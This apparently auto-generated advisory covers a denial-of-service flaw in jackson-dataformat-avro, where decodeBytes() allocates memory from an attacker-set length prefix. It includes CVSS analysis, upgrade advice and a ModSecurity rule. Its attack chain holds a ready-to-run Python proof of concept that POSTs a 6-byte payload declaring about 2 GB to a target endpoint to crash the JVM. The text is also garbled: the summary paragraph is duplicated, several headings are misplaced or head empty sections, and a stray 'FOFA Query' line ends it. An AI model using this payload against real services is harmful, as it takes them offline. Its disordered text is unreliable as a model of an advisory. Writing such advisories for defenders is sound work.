CVE-2026-104015 — FasterXML Jackson-dataformat-avro (2.18.11) — CWE-789
In jackson-dataformat-avro, decodeBytes() in both the default native decoder (JacksonAvroParserImpl) and the Apache-decoder variant (ApacheAvroParserImpl) allocates a byte[] directly from the attacker-controlled length prefix of an Avro bytes value, without checking it against the remaining input or any limit. A payload of about 5 bytes can force an allocation of up to about 2 GB before any data is read, causing an OutOfMemoryError and denial of service. Decimal fields decoded through decodeBytesDecimal are affected the same way. This affects com.fasterxml.jackson.dataformat:jackson-dataformat-avro 2.9.0 through 2.18.11, 2.19.0 through 2.21.7 and 2.22.0 through 2.22.3, and tools.jackson.dataformat:jackson-dataformat-avro 3.0.0 through 3.1.7 and 3.2.0 through 3.2.3. It is fixed in 2.18.12, 2.21.8, 2.22.4, 3.1.8 and 3.2.4.
In jackson-dataformat-avro, decodeBytes() in both the default native decoder (JacksonAvroParserImpl) and the Apache-decoder variant (ApacheAvroParserImpl) allocates a byte[] directly from the attacker-controlled length prefix of an Avro bytes value, without checking it against the remaining input or any limit. A payload of about 5 bytes can force an allocation of up to about 2 GB before any data is read, causing an OutOfMemoryError and denial of service. Decimal fields decoded through decodeBytesDecimal are affected the same way. This affects com.fasterxml.jackson.dataformat:jackson-dataformat-avro 2.9.0 through 2.18.11, 2.19.0 through 2.21.7 and 2.22.0 through 2.22.3, and tools.jackson.dataformat:jackson-dataformat-avro 3.0.0 through 3.1.7 and 3.2.0 through 3.2.3. It is fixed in 2.18.12, 2.21.8, 2.22.4, 3.1.8 and 3.2.4.
🎯 What is this vulnerability?
This vulnerability is a Denial of Service (DoS) flaw classified under CWE-789: Uncontrolled Resource Consumption.
The technical root cause lies in the jackson-dataformat-avro library's handling of Avro bytes and decimal data types. Specifically, in the methods decodeBytes() (within JacksonAvroParserImpl and ApacheAvroParserImpl) and decodeBytesDecimal, the library reads a length prefix from the input stream to determine the size of the incoming byte array.
The Flaw:
The code allocates a byte[] object in memory based solely on this attacker-controlled length prefix. It fails to:
1. Verify that the declared length does not exceed the remaining bytes in the input stream.
2. Check the declared length against any configured maximum size limit.
Because Avro uses variable-length zigzag encoding for integers, an attacker can craft a minimal payload (approx. 5 bytes) that decodes to a massive integer (e.g., ~2 GB). The JVM will attempt to allocate this memory immediately. If the heap size is insufficient, this triggers an OutOfMemoryError (OOM), crashing the application or the worker thread, leading to service unavailability.
CVSS Vector Analysis:
- AV:N/AC:L/PR:N/UI:N: Network-exploitable, low complexity, no authentication required.
- S:U: Scope is unchanged (the crash affects the vulnerable application, not the underlying OS or other services directly).
- C:N/I:N/A:H: No confidentiality or integrity impact; High availability impact due to potential process termination or thread starvation.
- Fingerprinting: The attacker identifies that the target application uses Apache Avro for data serialization. This is common in big data pipelines, Kafka consumers, or microservices exchanging binary data.
- Version Enumeration: * Check HTTP headers or response bodies for version clues (rare in binary protocols). * Use dependency scanning tools (e.g.,
⚡ Attack Chain
1. Discovery & Reconnaissance
trivy, snyk, dependency-check) if source code or build artifacts are accessible.
* Assume the latest vulnerable version (2.18.11, 2.21.7, 2.22.3, 3.1.7, or 3.2.3) if version is unknown, as the vulnerability exists across a wide range.2. Exploitation
The attacker sends a crafted Avro binary payload to an endpoint that accepts Avro-encoded data (e.g., a REST API endpoint acceptingapplication/octet-stream or application/avro-binary).Illustrative PoC (Python):
Note: The exact endpoint URI depends on the application. This example assumes a generic /api/ingest endpoint that parses Avro bytes.
import struct
import requests
def create_malicious_avro_bytes_payload():
"""
Creates a minimal Avro bytes payload that declares a huge length.
Avro uses zigzag varint for length.
We need a varint that decodes to a large number, e.g., 2GB (2147483648).
Zigzag encoding: (n << 1) ^ (n >> 31)
For 2GB: 2147483648
Encoded varint:
2147483648 in binary: 10000000000000000000000000000000
Zigzag: (2147483648 << 1) ^ (2147483648 >> 31) = 4294967296 ^ 0 = 4294967296
Varint encoding of 4294967296:
4294967296 = 0x100000000
In 7-bit chunks:
0x100000000 >> 0 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
0x100000000 >> 7 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
0x100000000 >> 14 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
0x100000000 >> 21 & 0x7F = 0x00 (with continuation bit 1) -> 0x80
0x100000000 >> 28 & 0x7F = 0x10 (no continuation) -> 0x10
So varint bytes: b'\x80\x80\x80\x80\x10'
The Avro bytes schema expects: [varint_length][bytes]
We provide the length but no actual bytes (or minimal bytes).
"""
length_varint = b'\x80\x80\x80\x80\x10' # Decodes to 2147483648 (2GB)
# The parser will try to allocate 2GB.
# We can send just the length, or length + 1 byte to trigger the read attempt.
payload = length_varint + b'\x00'
return payload
# Example request
url = "http://target-host:8080/api/ingest"
headers = {"Content-Type": "application/octet-stream"}
data = create_malicious_avro_bytes_payload()
try:
response = requests.post(url, data=data, headers=headers, timeout=5)
print(f"Status: {response.status_code}")
# Expecting 500 Internal Server Error or connection reset due to OOM
except requests.exceptions.ConnectionError:
print("Connection reset - likely OOM crash")Mechanism:
1. The server receives the 6-byte payload.
2. JacksonAvroParserImpl.decodeBytes() reads the varint b'\x80\x80\x80\x80\x10'.
3. It decodes this to 2147483648 (2 GB).
4. It executes new byte[2147483648].
5. If the JVM heap is < 2 GB, an OutOfMemoryError is thrown.
6. If the error is not caught gracefully, the thread dies. If it's a single-threaded service or the error propagates to the container orchestrator, the service restarts or crashes.
3. Post-exploitation
🌍 Real World Impact
OutOfMemoryError can terminate the JVM process.
* Thread Starvation: If the error is caught but the thread is not properly reset, it may hang or consume resources, reducing throughput.
* Service Disruption: In high-availability setups, repeated crashes can trigger failover, increasing latency and load on backup nodes.
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
Upgradejackson-dataformat-avro to a fixed version:
Maven Example:
<dependency>
<groupId>com.fasterxml.jackson.dataformat</groupId>
<artifactId>jackson-dataformat-avro</artifactId>
<version>2.22.4</version> <!-- Use latest fixed version -->
</dependency>2. Workarounds (If Immediate Upgrade is Not Possible)
A. JVM Heap Limiting
Set a strict-Xmx (max heap) value that is lower than the potential allocation (e.g., 512MB). This ensures that a 2GB allocation request will fail fast with an OutOfMemoryError rather than consuming all system memory. However, this does not prevent the crash; it just makes it more predictable.B. WAF/ModSecurity Rule
Block requests withContent-Type: application/octet-stream or application/avro-binary that are very small in size but claim to contain large data. Since the vulnerability is triggered by a small payload declaring a large length, a size-based filter can be effective.ModSecurity Rule (Illustrative):
# Block small Avro payloads that might contain malicious length prefixes
SecRule REQUEST_HEADERS:Content-Type "application/(octet-stream|avro-binary)" \
"id:100001,phase:2,deny,status:403,msg:'Potential Avro DoS Attack',log"
# Additionally, monitor for small body sizes
SecRule REQUEST_LENGTH "< 100" \
"id:100002,phase:2,pass,setvar:tx.avro_suspicious=1,log"Note: This is a heuristic. A more robust solution is to validate the Avro schema and length prefixes at the application layer before passing to Jackson.
C. Application-Level Validation
If you control the application code, wrap the Avro parsing logic in a try-catch block that specifically handlesOutOfMemoryError and returns a 400 Bad Request instead of crashing. However, this is a band-aid; upgrading is strongly recommended.3. Detection & IoCs
Web Server Logs:
500 Internal Server Error responses to endpoints accepting binary data.OutOfMemoryError in application logs:java.lang.OutOfMemoryError: Java heap spaceNetwork Traffic:
Content-Type: application/octet-stream or application/avro-binary.Application Logs:
com.fasterxml.jackson.dataformat.avro.JacksonAvroParserImpl.decodeBytes or ApacheAvroParserImpl.decodeBytes in the call stack.⚠️ Urgency
While not in the CISA KEV catalog, this vulnerability is trivially exploitable and requires no authentication. Any internet-facing service using jackson-dataformat-avro is at immediate risk of DoS. Given the low complexity and high impact on availability, this should be patched immediately (within 24-48 hours) for production systems. If the service is internal-only, patch within the next maintenance window.
[🤖 CVE Professor AI Security Engine]
FOFA Query